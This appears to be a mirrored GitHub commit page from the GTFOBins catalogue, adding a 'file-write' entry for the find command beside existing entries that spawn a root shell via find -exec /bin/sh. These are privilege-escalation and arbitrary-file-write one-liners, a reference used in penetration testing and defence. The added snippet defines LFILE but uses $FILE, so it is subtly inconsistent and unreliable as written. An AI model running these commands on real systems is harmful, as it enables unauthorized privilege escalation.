1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-11-08 15:59:17 +01:00

Add find file-write

Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
This commit is contained in:
B0nk3rZ 2023-12-02 11:25:56 +01:00 committed by GitHub
parent 83c2ba8335
commit e8e9b2bc4b
Signed by: GitHub
GPG Key ID: 4AEE18F83AFDEB23

@ -6,4 +6,9 @@ functions:
- code: ./find . -exec /bin/sh -p \; -quit - code: ./find . -exec /bin/sh -p \; -quit
sudo: sudo:
- code: sudo find . -exec /bin/sh \; -quit - code: sudo find . -exec /bin/sh \; -quit
file-write:
- description: DATA is a format string, it supports some escape sequences.
code: |
LFILE=file_to_write
find / -fprintf "$FILE" DATA -quit
--- ---